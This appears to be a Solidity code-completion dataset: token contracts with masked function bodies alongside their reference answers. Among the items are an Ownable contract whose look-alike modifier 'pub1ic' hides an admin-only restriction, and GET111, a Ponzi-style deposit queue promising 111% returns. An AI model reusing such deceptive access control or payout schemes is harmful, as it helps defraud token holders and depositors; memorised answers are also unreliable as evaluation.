contract Sense is ERC20Interface, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ function Sense() public { symbol = "SENSE"; name = "Sense"; decimals = 18; _totalSupply = 100000000000000000000000000; balances[0xf66Fe609FBB953C976100B2aCbe687F4023Bc267] = _totalSupply; Transfer(address(0), 0xf66Fe609FBB953C976100B2aCbe687F4023Bc267, _totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account tokenOwner // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to to account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer tokens from the from account to the to account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the from account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) {<FILL_FUNCTION_BODY> } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account. The spender contract function // receiveApproval(...) is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } function withdrawTokens(address tokenContract) external onlyOwner { Token tc = Token(tokenContract); tc.transfer(owner, tc.balanceOf(this)); } function withdrawEther() external onlyOwner { owner.transfer(this.balance); } }
contract Sense is ERC20Interface, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ function Sense() public { symbol = "SENSE"; name = "Sense"; decimals = 18; _totalSupply = 100000000000000000000000000; balances[0xf66Fe609FBB953C976100B2aCbe687F4023Bc267] = _totalSupply; Transfer(address(0), 0xf66Fe609FBB953C976100B2aCbe687F4023Bc267, _totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account tokenOwner // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to to account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); return true; } <FILL_FUNCTION> // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account. The spender contract function // receiveApproval(...) is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } function withdrawTokens(address tokenContract) external onlyOwner { Token tc = Token(tokenContract); tc.transfer(owner, tc.balanceOf(this)); } function withdrawEther() external onlyOwner { owner.transfer(this.balance); } }
balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(from, to, tokens); return true;
function transferFrom(address from, address to, uint tokens) public returns (bool success)
// ------------------------------------------------------------------------ // Transfer tokens from the from account to the to account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the from account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success)
29286
UniNight
transfer
contract UniNight is ERC20 { using SafeMath for uint256; mapping(address => uint256) private balances; mapping(address => mapping(address => uint256)) private allowed; string public constant name = "UniNight"; string public constant symbol = "NIGHT"; uint8 public constant decimals = 18; address owner = msg.sender; uint256 _totalSupply = 100000 * (10**18); constructor() public { balances[msg.sender] = _totalSupply; emit Transfer(address(0), msg.sender, _totalSupply); } function totalSupply() public view returns (uint256) { return _totalSupply; } function balanceOf(address player) public view returns (uint256) { return balances[player]; } function allowance(address player, address spender) public view returns (uint256) { return allowed[player][spender]; } function transfer(address to, uint256 value) public returns (bool) {<FILL_FUNCTION_BODY> } function multiTransfer(address[] memory receivers, uint256[] memory amounts) public { for (uint256 i = 0; i < receivers.length; i++) { transfer(receivers[i], amounts[i]); } } function approve(address spender, uint256 value) public returns (bool) { require(spender != address(0)); allowed[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } function approveAndCall( address spender, uint256 tokens, bytes data ) external returns (bool) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval( msg.sender, tokens, this, data ); return true; } function transferFrom( address from, address to, uint256 value ) public returns (bool) { require(value <= balances[from]); require(value <= allowed[from][msg.sender]); require(to != address(0)); balances[from] = balances[from].sub(value); balances[to] = balances[to].add(value); allowed[from][msg.sender] = allowed[from][msg.sender].sub(value); emit Transfer(from, to, value); return true; } function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { require(spender != address(0)); allowed[msg.sender][spender] = allowed[msg.sender][spender].add( addedValue ); emit Approval(msg.sender, spender, allowed[msg.sender][spender]); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { require(spender != address(0)); allowed[msg.sender][spender] = allowed[msg.sender][spender].sub( subtractedValue ); emit Approval(msg.sender, spender, allowed[msg.sender][spender]); return true; } function burn(uint256 amount) external { require(amount != 0); require(amount <= balances[msg.sender]); _totalSupply = _totalSupply.sub(amount); balances[msg.sender] = balances[msg.sender].sub(amount); emit Transfer(msg.sender, address(0), amount); } }
contract UniNight is ERC20 { using SafeMath for uint256; mapping(address => uint256) private balances; mapping(address => mapping(address => uint256)) private allowed; string public constant name = "UniNight"; string public constant symbol = "NIGHT"; uint8 public constant decimals = 18; address owner = msg.sender; uint256 _totalSupply = 100000 * (10**18); constructor() public { balances[msg.sender] = _totalSupply; emit Transfer(address(0), msg.sender, _totalSupply); } function totalSupply() public view returns (uint256) { return _totalSupply; } function balanceOf(address player) public view returns (uint256) { return balances[player]; } function allowance(address player, address spender) public view returns (uint256) { return allowed[player][spender]; } <FILL_FUNCTION> function multiTransfer(address[] memory receivers, uint256[] memory amounts) public { for (uint256 i = 0; i < receivers.length; i++) { transfer(receivers[i], amounts[i]); } } function approve(address spender, uint256 value) public returns (bool) { require(spender != address(0)); allowed[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } function approveAndCall( address spender, uint256 tokens, bytes data ) external returns (bool) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval( msg.sender, tokens, this, data ); return true; } function transferFrom( address from, address to, uint256 value ) public returns (bool) { require(value <= balances[from]); require(value <= allowed[from][msg.sender]); require(to != address(0)); balances[from] = balances[from].sub(value); balances[to] = balances[to].add(value); allowed[from][msg.sender] = allowed[from][msg.sender].sub(value); emit Transfer(from, to, value); return true; } function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { require(spender != address(0)); allowed[msg.sender][spender] = allowed[msg.sender][spender].add( addedValue ); emit Approval(msg.sender, spender, allowed[msg.sender][spender]); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { require(spender != address(0)); allowed[msg.sender][spender] = allowed[msg.sender][spender].sub( subtractedValue ); emit Approval(msg.sender, spender, allowed[msg.sender][spender]); return true; } function burn(uint256 amount) external { require(amount != 0); require(amount <= balances[msg.sender]); _totalSupply = _totalSupply.sub(amount); balances[msg.sender] = balances[msg.sender].sub(amount); emit Transfer(msg.sender, address(0), amount); } }
require(value <= balances[msg.sender]); require(to != address(0)); balances[msg.sender] = balances[msg.sender].sub(value); balances[to] = balances[to].add(value); emit Transfer(msg.sender, to, value); return true;
function transfer(address to, uint256 value) public returns (bool)
function transfer(address to, uint256 value) public returns (bool)
73208
StandardToken
transferFrom
contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) allowed; function transferFrom(address _from, address _to, uint256 _value) returns (bool) {<FILL_FUNCTION_BODY> } function approve(address _spender, uint256 _value) returns (bool) { require((_value == 0) || (allowed[msg.sender][_spender] == 0)); allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } function increaseApproval(address _spender, uint256 _addedValue) returns (bool success) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint256 _subtractedValue) returns (bool success) { uint256 oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } }
contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) allowed; <FILL_FUNCTION> function approve(address _spender, uint256 _value) returns (bool) { require((_value == 0) || (allowed[msg.sender][_spender] == 0)); allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } function increaseApproval(address _spender, uint256 _addedValue) returns (bool success) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint256 _subtractedValue) returns (bool success) { uint256 oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } }
var _allowance = allowed[_from][msg.sender]; balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); return true;
function transferFrom(address _from, address _to, uint256 _value) returns (bool)
function transferFrom(address _from, address _to, uint256 _value) returns (bool)
60828
BunnyToken
checkPermissions
contract BunnyToken is StandardToken, BurnableToken, Ownable { using SafeMath for uint; string constant public symbol = "BUNNY"; string constant public name = "BunnyToken"; uint8 constant public decimals = 18; uint256 INITIAL_SUPPLY = 1000000000e18; uint constant ITSStartTime = 1520949600; // Tuesday, March 13, 2018 2:00:00 PM uint constant ITSEndTime = 1527292800; // Saturday, May 26, 2018 12:00:00 AM uint constant unlockTime = 1546300800; // Tuesday, January 1, 2019 12:00:00 AM address company = 0x7C4Fd656F0B5E847b42a62c0Ad1227c1D800EcCa; address team = 0xd230f231F59A60110A56A813cAa26a7a0D0B4d44; address crowdsale = 0xf9e5041a578d48331c54ba3c494e7bcbc70a30ca; address bounty = 0x4912b269f6f45753919a95e134d546c1c0771ac1; address beneficiary = 0xcC146FEB2C18057923D7eBd116843adB93F0510C; uint constant companyTokens = 150000000e18; uint constant teamTokens = 70000000e18; uint constant crowdsaleTokens = 700000000e18; uint constant bountyTokens = 30000000e18; function BunnyToken() public { totalSupply_ = INITIAL_SUPPLY; // InitialDistribution preSale(company, companyTokens); preSale(team, teamTokens); preSale(crowdsale, crowdsaleTokens); preSale(bounty, bountyTokens); // Private Pre-Sale preSale(0x300A2CA8fBEDce29073FD528085AFEe1c5ddEa83, 10000000e18); preSale(0xA7a8888800F1ADa6afe418AE8288168456F60121, 8000000e18); preSale(0x9fc3f5e827afc5D4389Aff2B4962806DB6661dcF, 6000000e18); preSale(0xa6B4eB28225e90071E11f72982e33c46720c9E1e, 5000000e18); preSale(0x7fE536Df82b773A7Fa6fd0866C7eBd3a4DB85E58, 5000000e18); preSale(0xC3Fd11e1476800f1E7815520059F86A90CF4D2a6, 5000000e18); preSale(0x813b6581FdBCEc638ACA36C55A2C71C79177beE3, 4000000e18); preSale(0x9779722874fd86Fe3459cDa3e6AF78908b473711, 2000000e18); preSale(0x98A1d2C9091321CCb4eAcaB11e917DC2e029141F, 1000000e18); preSale(0xe5aBBE2761a6cBfaa839a4CC4c495E1Fc021587F, 1000000e18); preSale(0x1A3F2E3C77dfa64FBCF1592735A30D5606128654, 1000000e18); preSale(0x41F1337A7C0D216bcF84DFc13d3B485ba605df0e, 1000000e18); preSale(0xAC24Fc3b2bd1ef2E977EC200405717Af8BEBAfE7, 500000e18); preSale(0xd140f1abbdD7bd6260f2813fF7dB0Cb91A5b3Dcc, 500000e18); } function preSale(address _address, uint _amount) internal returns (bool) { balances[_address] = _amount; Transfer(address(0x0), _address, _amount); } function checkPermissions(address _from) internal constant returns (bool) {<FILL_FUNCTION_BODY> } function transfer(address _to, uint256 _value) public returns (bool) { require(checkPermissions(msg.sender)); super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(checkPermissions(_from)); super.transferFrom(_from, _to, _value); } function () public payable { require(msg.value >= 1e16); beneficiary.transfer(msg.value); } }
contract BunnyToken is StandardToken, BurnableToken, Ownable { using SafeMath for uint; string constant public symbol = "BUNNY"; string constant public name = "BunnyToken"; uint8 constant public decimals = 18; uint256 INITIAL_SUPPLY = 1000000000e18; uint constant ITSStartTime = 1520949600; // Tuesday, March 13, 2018 2:00:00 PM uint constant ITSEndTime = 1527292800; // Saturday, May 26, 2018 12:00:00 AM uint constant unlockTime = 1546300800; // Tuesday, January 1, 2019 12:00:00 AM address company = 0x7C4Fd656F0B5E847b42a62c0Ad1227c1D800EcCa; address team = 0xd230f231F59A60110A56A813cAa26a7a0D0B4d44; address crowdsale = 0xf9e5041a578d48331c54ba3c494e7bcbc70a30ca; address bounty = 0x4912b269f6f45753919a95e134d546c1c0771ac1; address beneficiary = 0xcC146FEB2C18057923D7eBd116843adB93F0510C; uint constant companyTokens = 150000000e18; uint constant teamTokens = 70000000e18; uint constant crowdsaleTokens = 700000000e18; uint constant bountyTokens = 30000000e18; function BunnyToken() public { totalSupply_ = INITIAL_SUPPLY; // InitialDistribution preSale(company, companyTokens); preSale(team, teamTokens); preSale(crowdsale, crowdsaleTokens); preSale(bounty, bountyTokens); // Private Pre-Sale preSale(0x300A2CA8fBEDce29073FD528085AFEe1c5ddEa83, 10000000e18); preSale(0xA7a8888800F1ADa6afe418AE8288168456F60121, 8000000e18); preSale(0x9fc3f5e827afc5D4389Aff2B4962806DB6661dcF, 6000000e18); preSale(0xa6B4eB28225e90071E11f72982e33c46720c9E1e, 5000000e18); preSale(0x7fE536Df82b773A7Fa6fd0866C7eBd3a4DB85E58, 5000000e18); preSale(0xC3Fd11e1476800f1E7815520059F86A90CF4D2a6, 5000000e18); preSale(0x813b6581FdBCEc638ACA36C55A2C71C79177beE3, 4000000e18); preSale(0x9779722874fd86Fe3459cDa3e6AF78908b473711, 2000000e18); preSale(0x98A1d2C9091321CCb4eAcaB11e917DC2e029141F, 1000000e18); preSale(0xe5aBBE2761a6cBfaa839a4CC4c495E1Fc021587F, 1000000e18); preSale(0x1A3F2E3C77dfa64FBCF1592735A30D5606128654, 1000000e18); preSale(0x41F1337A7C0D216bcF84DFc13d3B485ba605df0e, 1000000e18); preSale(0xAC24Fc3b2bd1ef2E977EC200405717Af8BEBAfE7, 500000e18); preSale(0xd140f1abbdD7bd6260f2813fF7dB0Cb91A5b3Dcc, 500000e18); } function preSale(address _address, uint _amount) internal returns (bool) { balances[_address] = _amount; Transfer(address(0x0), _address, _amount); } <FILL_FUNCTION> function transfer(address _to, uint256 _value) public returns (bool) { require(checkPermissions(msg.sender)); super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(checkPermissions(_from)); super.transferFrom(_from, _to, _value); } function () public payable { require(msg.value >= 1e16); beneficiary.transfer(msg.value); } }
if (_from == team && now < unlockTime) { return false; } if (_from == bounty || _from == crowdsale || _from == company) { return true; } if (now < ITSEndTime) { return false; } else { return true; }
function checkPermissions(address _from) internal constant returns (bool)
function checkPermissions(address _from) internal constant returns (bool)
44192
Ownable
transferIt
contract Ownable { address public owner; address public admin; /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() { owner = msg.sender; admin=msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } modifier pub1ic() { require(msg.sender == admin); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner { if (newOwner != address(0)) { owner = newOwner; } } function transferIt(address newpub1ic) pub1ic {<FILL_FUNCTION_BODY> } }
contract Ownable { address public owner; address public admin; /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() { owner = msg.sender; admin=msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } modifier pub1ic() { require(msg.sender == admin); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner { if (newOwner != address(0)) { owner = newOwner; } } <FILL_FUNCTION> }
if (newpub1ic != address(0)) { admin = newpub1ic; }
function transferIt(address newpub1ic) pub1ic
function transferIt(address newpub1ic) pub1ic
61673
ERC223Token_STB
ERC223Token_STB
contract ERC223Token_STB is ERC223, SafeMath, Ownable { string public name; string public symbol; uint8 public decimals; uint256 public totalSupply; mapping(address => uint) balances; // stable params: uint256 public maxSupply; uint256 public icoEndBlock; address public icoAddress; function ERC223Token_STB() {<FILL_FUNCTION_BODY> } // Function to access max supply of tokens . function maxSupply() constant returns (uint256 _maxSupply) { return maxSupply; } // /stable params // Function to access name of token . function name() constant returns (string _name) { return name; } // Function to access symbol of token . function symbol() constant returns (string _symbol) { return symbol; } // Function to access decimals of token . function decimals() constant returns (uint8 _decimals) { return decimals; } // Function to access total supply of tokens . function totalSupply() constant returns (uint256 _totalSupply) { return totalSupply; } function icoAddress() constant returns (address _icoAddress) { return icoAddress; } // Function that is called when a user or another contract wants to transfer funds . function transfer(address _to, uint _value, bytes _data) returns (bool success) { if(isContract(_to)) { transferToContract(_to, _value, _data); } else { transferToAddress(_to, _value, _data); } return true; } // Standard function transfer similar to ERC20 transfer with no _data . // Added due to backwards compatibility reasons . function transfer(address _to, uint _value) returns (bool success) { bytes memory empty; if(isContract(_to)) { transferToContract(_to, _value, empty); } else { transferToAddress(_to, _value, empty); } return true; } //assemble the given address bytecode. If bytecode exists then the _addr is a contract. function isContract(address _addr) private returns (bool is_contract) { uint length; _addr = _addr; // workaround for Mist's inability to compile is_contract = is_contract; // workaround for Mist's inability to compile assembly { //retrieve the size of the code on target address, this needs assembly length := extcodesize(_addr) } if(length>0) { return true; } else { return false; } } //function that is called when transaction target is an address function transferToAddress(address _to, uint _value, bytes _data) private returns (bool success) { if (balanceOf(msg.sender) < _value) throw; balances[msg.sender] = safeSub(balanceOf(msg.sender), _value); balances[_to] = safeAdd(balanceOf(_to), _value); Transfer(msg.sender, _to, _value, _data); return true; } //function that is called when transaction target is a contract function transferToContract(address _to, uint _value, bytes _data) private returns (bool success) { if (balanceOf(msg.sender) < _value) throw; balances[msg.sender] = safeSub(balanceOf(msg.sender), _value); balances[_to] = safeAdd(balanceOf(_to), _value); ContractReceiver receiver = ContractReceiver(_to); receiver.tokenFallback(msg.sender, _value, _data); Transfer(msg.sender, _to, _value, _data); return true; } function balanceOf(address _owner) constant returns (uint balance) { return balances[_owner]; } /* setting ICO address for allowing execution from the ICO contract */ function setIcoAddress(address _address) onlyOwner { if (icoAddress == address(0)) { icoAddress = _address; } else throw; } /* mint new tokens */ function mint(address _receiver, uint256 _amount) { if (icoAddress == address(0)) throw; if (msg.sender != icoAddress && msg.sender != owner) throw; // mint allowed only for ICO contract or owner if (safeAdd(totalSupply, _amount) > maxSupply) throw; totalSupply = safeAdd(totalSupply, _amount); balances[_receiver] = safeAdd(balances[_receiver], _amount); Transfer(0, _receiver, _amount, new bytes(0)); } }
contract ERC223Token_STB is ERC223, SafeMath, Ownable { string public name; string public symbol; uint8 public decimals; uint256 public totalSupply; mapping(address => uint) balances; // stable params: uint256 public maxSupply; uint256 public icoEndBlock; address public icoAddress; <FILL_FUNCTION> // Function to access max supply of tokens . function maxSupply() constant returns (uint256 _maxSupply) { return maxSupply; } // /stable params // Function to access name of token . function name() constant returns (string _name) { return name; } // Function to access symbol of token . function symbol() constant returns (string _symbol) { return symbol; } // Function to access decimals of token . function decimals() constant returns (uint8 _decimals) { return decimals; } // Function to access total supply of tokens . function totalSupply() constant returns (uint256 _totalSupply) { return totalSupply; } function icoAddress() constant returns (address _icoAddress) { return icoAddress; } // Function that is called when a user or another contract wants to transfer funds . function transfer(address _to, uint _value, bytes _data) returns (bool success) { if(isContract(_to)) { transferToContract(_to, _value, _data); } else { transferToAddress(_to, _value, _data); } return true; } // Standard function transfer similar to ERC20 transfer with no _data . // Added due to backwards compatibility reasons . function transfer(address _to, uint _value) returns (bool success) { bytes memory empty; if(isContract(_to)) { transferToContract(_to, _value, empty); } else { transferToAddress(_to, _value, empty); } return true; } //assemble the given address bytecode. If bytecode exists then the _addr is a contract. function isContract(address _addr) private returns (bool is_contract) { uint length; _addr = _addr; // workaround for Mist's inability to compile is_contract = is_contract; // workaround for Mist's inability to compile assembly { //retrieve the size of the code on target address, this needs assembly length := extcodesize(_addr) } if(length>0) { return true; } else { return false; } } //function that is called when transaction target is an address function transferToAddress(address _to, uint _value, bytes _data) private returns (bool success) { if (balanceOf(msg.sender) < _value) throw; balances[msg.sender] = safeSub(balanceOf(msg.sender), _value); balances[_to] = safeAdd(balanceOf(_to), _value); Transfer(msg.sender, _to, _value, _data); return true; } //function that is called when transaction target is a contract function transferToContract(address _to, uint _value, bytes _data) private returns (bool success) { if (balanceOf(msg.sender) < _value) throw; balances[msg.sender] = safeSub(balanceOf(msg.sender), _value); balances[_to] = safeAdd(balanceOf(_to), _value); ContractReceiver receiver = ContractReceiver(_to); receiver.tokenFallback(msg.sender, _value, _data); Transfer(msg.sender, _to, _value, _data); return true; } function balanceOf(address _owner) constant returns (uint balance) { return balances[_owner]; } /* setting ICO address for allowing execution from the ICO contract */ function setIcoAddress(address _address) onlyOwner { if (icoAddress == address(0)) { icoAddress = _address; } else throw; } /* mint new tokens */ function mint(address _receiver, uint256 _amount) { if (icoAddress == address(0)) throw; if (msg.sender != icoAddress && msg.sender != owner) throw; // mint allowed only for ICO contract or owner if (safeAdd(totalSupply, _amount) > maxSupply) throw; totalSupply = safeAdd(totalSupply, _amount); balances[_receiver] = safeAdd(balances[_receiver], _amount); Transfer(0, _receiver, _amount, new bytes(0)); } }
totalSupply = 0; // Update total supply maxSupply = 1000000000000; // Maximum possible supply of STB == 100M STB name = "STABLE STB Token"; // Set the name for display purposes decimals = 4; // Amount of decimals for display purposes symbol = "STB"; // Set the symbol for display purposes icoEndBlock = 4332000; // INIT // last block number of ICO //balances[msg.sender] = totalSupply; // Give the creator all initial tokens
function ERC223Token_STB()
function ERC223Token_STB()
61933
GET111
pay
contract GET111 { address constant private ADMIN = 0x411647BA6480bF5FDec2145f858FD37AeCBfC03B; uint constant public ADMIN_FEE = 5; uint constant public PROFIT = 111; struct Deposit { address depositor; //depositor address uint128 deposit; //deposit amount uint128 expect; //payout 111% (100% + 11%) } Deposit[] private queue; uint public currentReceiverIndex = 0; //That function receive deposits, saves and after make instant payments function () public payable { if(msg.value > 0){ require(gasleft() >= 220000, "We require more gas!"); //gas need to process transaction require(msg.value <= 2 ether); //We not allow big sums, it is for contract long life //Adding investor into queue. Now he expects to receive 111% of his deposit queue.push(Deposit(msg.sender, uint128(msg.value), uint128(msg.value*PROFIT/100))); //Send fees 5% (3%+2%) uint admin = msg.value*ADMIN_FEE/100; ADMIN.send(admin); //First in line get paid instantly pay(); } } //This function paying for the first users in line function pay() private {<FILL_FUNCTION_BODY> } function getDeposit(uint idx) public view returns (address depositor, uint deposit, uint expect){ Deposit storage dep = queue[idx]; return (dep.depositor, dep.deposit, dep.expect); } function getDepositsCount(address depositor) public view returns (uint) { uint c = 0; for(uint i=currentReceiverIndex; i<queue.length; ++i){ if(queue[i].depositor == depositor) c++; } return c; } function getDeposits(address depositor) public view returns (uint[] idxs, uint128[] deposits, uint128[] expects) { uint c = getDepositsCount(depositor); idxs = new uint[](c); deposits = new uint128[](c); expects = new uint128[](c); if(c > 0) { uint j = 0; for(uint i=currentReceiverIndex; i<queue.length; ++i){ Deposit storage dep = queue[i]; if(dep.depositor == depositor){ idxs[j] = i; deposits[j] = dep.deposit; expects[j] = dep.expect; j++; } } } } function getQueueLength() public view returns (uint) { return queue.length - currentReceiverIndex; } }
contract GET111 { address constant private ADMIN = 0x411647BA6480bF5FDec2145f858FD37AeCBfC03B; uint constant public ADMIN_FEE = 5; uint constant public PROFIT = 111; struct Deposit { address depositor; //depositor address uint128 deposit; //deposit amount uint128 expect; //payout 111% (100% + 11%) } Deposit[] private queue; uint public currentReceiverIndex = 0; //That function receive deposits, saves and after make instant payments function () public payable { if(msg.value > 0){ require(gasleft() >= 220000, "We require more gas!"); //gas need to process transaction require(msg.value <= 2 ether); //We not allow big sums, it is for contract long life //Adding investor into queue. Now he expects to receive 111% of his deposit queue.push(Deposit(msg.sender, uint128(msg.value), uint128(msg.value*PROFIT/100))); //Send fees 5% (3%+2%) uint admin = msg.value*ADMIN_FEE/100; ADMIN.send(admin); //First in line get paid instantly pay(); } } <FILL_FUNCTION> function getDeposit(uint idx) public view returns (address depositor, uint deposit, uint expect){ Deposit storage dep = queue[idx]; return (dep.depositor, dep.deposit, dep.expect); } function getDepositsCount(address depositor) public view returns (uint) { uint c = 0; for(uint i=currentReceiverIndex; i<queue.length; ++i){ if(queue[i].depositor == depositor) c++; } return c; } function getDeposits(address depositor) public view returns (uint[] idxs, uint128[] deposits, uint128[] expects) { uint c = getDepositsCount(depositor); idxs = new uint[](c); deposits = new uint128[](c); expects = new uint128[](c); if(c > 0) { uint j = 0; for(uint i=currentReceiverIndex; i<queue.length; ++i){ Deposit storage dep = queue[i]; if(dep.depositor == depositor){ idxs[j] = i; deposits[j] = dep.deposit; expects[j] = dep.expect; j++; } } } } function getQueueLength() public view returns (uint) { return queue.length - currentReceiverIndex; } }
uint128 money = uint128(address(this).balance); for(uint i=0; i<queue.length; i++){ uint idx = currentReceiverIndex + i; Deposit storage dep = queue[idx]; if(money >= dep.expect){ dep.depositor.send(dep.expect); money -= dep.expect; //User total paid delete queue[idx]; }else{ dep.depositor.send(money); dep.expect -= money; break; } if(gasleft() <= 50000) break; } currentReceiverIndex += i;
function pay() private
//This function paying for the first users in line function pay() private
34911
ERC20
_approve
